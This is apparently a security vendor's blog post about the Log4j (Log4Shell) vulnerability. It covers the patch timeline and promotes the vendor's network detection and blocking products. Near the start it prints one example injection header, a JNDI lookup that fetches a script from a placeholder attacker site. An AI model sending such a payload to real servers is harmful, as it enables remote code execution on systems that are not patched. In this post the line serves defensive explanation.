Apache Log4j Vulnerability

Tick…

On Dec 9, 2021, the world was alerted to the Log4j vulnerability [CVE-2021-44228 aka Log4Shell].

Tock…

Most likely bad actors already knew about this prior to Dec 9th as it’s been reported that the vulnerability was exposed much earlier in Minecraft chat forums.

The vulnerability exposes how the ubiquitous Log4j Java logging utility can be taken advantage of by injecting Java Naming and Directory Interface (JNDI) code in the User-Agent HTTP Header to execute a malicious script.

The JNDI injection can leverage different protocols such as Lightweight Directory Access Protocol (LDAP), Secure LDAP (LDAPS), Remote Method Invocation (RMI), or Domain Name Service (DNS) to request a malicious payload.

Here’s a simple unobfuscated example:

User-Agent: ${jndi:ladp://attacker site/malicious script}

Tick…

The vulnerability has attracted the world’s bad attackers (including ransomware-as-a-service gangs) as they can exploit it to download and execute common crypto mining malware, webshells, Cobalt Strike beacons - and undoubtedly ransomware.

Soon after the CVE was published, a v2.15.0 patch was provided for the Log4j utility.

Tock…

At this point both bad actors and defenders where in a race to scan for Apache servers running the vulnerable Log4j utility.  The Internet was awash in scanning activity and organizations were in a patch mode frenzy.

Tick..

Before most defenders could patch all their systems with v2.15.0, another vulnerability was published on Dec 14th [CVE-2021-45046] and a new patch v2.16.0 was released.  Note: 2.16.0 disables all JNDI support by default and removes message lookup handling entirely. That’s a great step towards stopping this exploit, but once again defenders went into patch mode while bad actors continued to scan for vulnerable severs and exploit them. On Dec 17th, Apache rolled out another patch v2.17.0 to address the most recent vulnerability CVE-2021-45105.

Tock..

Scanning and patching your vulnerable servers (if you can find them all) is absolutely the best defense against this exploit. But that takes time – a lot of time.  Therefore, it should be assumed that before or during this time, bad actors have already compromised one or more of your vulnerable servers. 

Tick…

The time has come to focus your attention on the detecting exploitation.

Tock…

Undoubtedly you have many tools in your security stack that will help you detect and investigate signs of compromise.  Be it SIEMs, end point detection – or where NETSCOUT excels, packet-based threat detection and investigation – in a moment like this you’re going to leverage everything you have in your toolbox to detect and remediate the exploitation of the Log4j vulnerability.

Your Needs from a Network Perspective

Because of the ubiquity of potential vulnerable servers, you’ll need visibility across your entire network infrastructure - no matter where that network may reside – legacy, partner, private, public or hybrid cloud.

You’ll also need deep visibility into network traffic, including packet level visibility that can also automatically create a robust set of metadata that gives you visibility into all 7 layers of the OSI model and for many different protocols.

You’ll need the ability to continuously capture and store this robust set of packet-based metadata for real-time and retrospective analysis.  In fact, this capability should have started long before this event was made public on Dec 9th so you’ll have the ability to go as far back in time as possible to look for signs of entry and exploitation.

You’ll need the ability to infuse this packet-based data with multiple sources of threat intelligence so you can automatically detect and conduct analysis of this data.

You'll want the ability to provide access or offload this robust set of packet-based data to data lakes where other tools in your toolbox can analyze it. 

Because attackers will undoubtedly embed their communication inside encrypted tunnels, you’ll need the ability to conduct high performing decryption.

And lastly, you’ll want access to a vendor whose own tools are not vulnerable to this exploit and who will partner with you during this stressful time.

NETSCOUT is that vendor and NETSCOUT Omnis Security is the solution to provide you with all these requirements. Here’s how…

Smart Data is the Foundation of Omnis Security

As stated previously, because of the ubiquitous nature of this vulnerability, you’re going to need comprehensive network visibility. That is, broad visibility across your entire digital infrastructure along with deep layer-7 visibility including packets. For over 30 years NETSCOUT’s core competency has been our ability to capture packets from the network- no matter the speed or where that network may reside (i.e. legacy, private cloud, or public cloud).  Using our patented Adaptive Service Intelligence (ASI) technology, in real-time, we extract from those packets a robust set of layer-7 metadata which we call Smart Data.

The network instrumentation that accomplishes this are our InfinistreamNG (with Cyber Adaptor addon) and CyberStream products which come in a variety of models offering different network interface configurations, capture speeds (up to 100 Gbps), data storage capacities (up to 128 Terabytes), as appliances, software only, and virtually as vStream which supports common public cloud environments such as AWS, Azure and Google. This highly scalable instrumentation is strategically deployed throughout your entire network to provide comprehensive north-south and east-west visibility.

Both packets and Smart Data are stored locally on the network instrumentation. Using unique indexing and compression techniques enables us to store this data for long durations of time (e.g. months) so you can go back far before this Log4j event occurred to looks for early signs of entry and compromise.

Omnis Cyber Intelligence is Your Control Center for Detection and Investigation

Access to this robust set of network data is via our Omnis Cyber Intelligence (OCI), the central console for Omnis Security solution. OCI conducts real-time analysis on the instrumentation’s (i.e. CyberStream, Infinistream and vStream) Smart Data looking for all types cyber security threats. Long before the Log4j CVE was known, OCI was acting as an Advanced Early Warning system as it was already analyzing the network data gathered by our instrumentation creating an inventory of all assets and looking for signs of exploitation.

Via our ATLAS Intelligence Feed (AIF) and 3rd parties supporting STIX/TAXII, OCI consumes threat intelligence and can be armed with millions of Indicators of Compromise (IoCs).  OCI uses this threat intelligence along with behavioral analysis to look for signs of compromise - or in this case signs of Log4j exploitation.

Specific to Log4j, the ATLAS Intelligence Feed (AIF), has over 1500 IoCs related to the exploit. As our ATLAS Security Engineering and Response Team (ASERT) gathers more intelligence, we will continue to update the feed accordingly.

Because OCI has comprehensive visibility across the entire network, it provides Continuous Attack Surface Monitoring.

OCI Protection Groups can be easily be configured to look specifically for all internet/external facing hosts (e.g. Web servers specifically running the Apache Log4j service). One can also customize the Protection Group’s packet and metadata storage parameters per server. With this scoped visibility, all traffic matching the protection group will be captured and analyzed in real-time or retrospectively.

OCI’s GeoFootprint feature can be used to clearly see all internal connections communicating with external sites. This display can be further filtered to show all existing external connections (including the most common protocols used for exploitation, such as HTTP/S and LDAP, RMI, DNS etc.) as well as any new connections over the previous 24 hours to identify irregular activity.

OCI’s real power is in its ability to conduct Contact Tracing and Go Back in Time Analysis. It accomplishes this by analyzing the goldmine of packets and Smart Data locally stored on the Infinistream, CyberStream and vStream instrumentation to conduct highly contextualized, metadata and packet-based investigations. Users can quickly scan through and analyze months of robust metadata or ultimately access the associated packets. This ability to access and analyze such a robust and high-fidelity source of data is unmatched in the industry and can certainly be leveraged by network and security teams who are earnestly trying to determine the extent of the Log4j exploitation and determine remediation efforts.

Detection Alone is Not Enough

Indeed, detecting signs of compromise and exploitation are required, but detection is not enough.  You need the ability to mitigate or block network communication that is attributing to the compromise. This is where our Omnis Arbor Edge Defense (AED) comes into play. Omnis AED is an industry best, stateless DDoS protection solution that you deploy on the edge of your network, just inside the internet router and outside the firewall. But AED can do much more than just block inbound DDoS attacks. Armed with the ATLAS Intelligence Feed as well as 3rd party intelligence via STIX/TAXII, AED can be used to detect AND block non-DDoS threats such as those related to the Log4j exploit and many others.

AED’s unique position at the network edge enables it to act as a first and last line of defense for your organization:

• First Line of Defense: AED can block known malicious inbound scanning, probing, brute force password attempts or millions of IoCs associated with the Log4j and other malware. Since AED sits northbound of your firewall, Intrusion Protection Systems and other network security devices, it takes the load off of those stateful systems which may be asked to do the same.
• Last Line of Defense: AED can block outbound communication from compromised internal devices speaking to known bad locations. Since AED sits outside your firewall which is commonly the last piece of gear in your network security stack, when AED blocks this traffic, it means that all other security tools have missed it, thus acting as a last line of defense.

Our ATLAS Security and Research Team (ASERT) receives anonymized information from customer deployments of AED. The day after they released the AIF with Log4j policies, they reported that AED had blocked over 1.7 million Log4j exploitation attempts.  Its this type of automated blocking functionality that gives defenders the chance to properly patch their vulnerable systems.

Note: As of the posting of this blog we have confirmation that AED has blocked over 8 million IoCs related to Log4j.

As more information about this exploit becomes available the potential for users to manually configure an AED RegEx countermeasure to block traffic specific to the Log4j exploit can also be executed.

More NETSCOUT Solutions Can Help

Since the bulk of the exploitation going on is HTTPs based, also with varying degrees of obfuscation, our nGenius Decryption Appliance (nDA) can play a valuable role in providing decryption and visibility into this traffic.

Our family of Packet Flow Switches (PFS) and Taps products can also play a crucial role in helping organizations intelligently send network traffic to NETSCOUT or 3rd party solutions for analysis.

When nDA combined with the NETSCOUT nGenius Packet Flow Switches, service chains comprised of multiple in-line or passive cybersecurity tools can be used to monitor multiple traffic flows simultaneously, including from disparate network areas.

Impacted NETSCOUT Products

And lastly, NETSCOUT is aware and tracking the vulnerability as it does affect some of our products.  We are keeping customers aware of potentially vulnerable products and their mitigation. Customers can find this information in our ATAC Knowledge Base Article ID 000019217 - “Are NETSCOUT Products impacted by CVE-2021-44228”  

Looking Ahead

We know you are in the midst of eradicating the Log4j vulnerability.  We know you have many other security tools at your disposal beyond NETSCOUT network-based protection. And we know there’s a ton of great information and guidance being provided to you for assistance.

For example, here’s the latest guidance from CISA, the Federal Bureau of Investigation (FBI), the National Security Agency (NSA), and the cybersecurity authorities of Australia, Canada, New Zealand, and the United Kingdom.

As you know, the best method to stop this exploit is to patch so continue to do so. But at the same time remain vigilant and actively looks for signs of compromise.

As Guardians of the Connected World, we at NETSCOUT want you to know we are here to help. As outlined, we have many excellent network and packet-based products that you can use to detect and remediate the exploitation of the Log4j vulnerability.

We wish you luck and please reach out to us for assistance.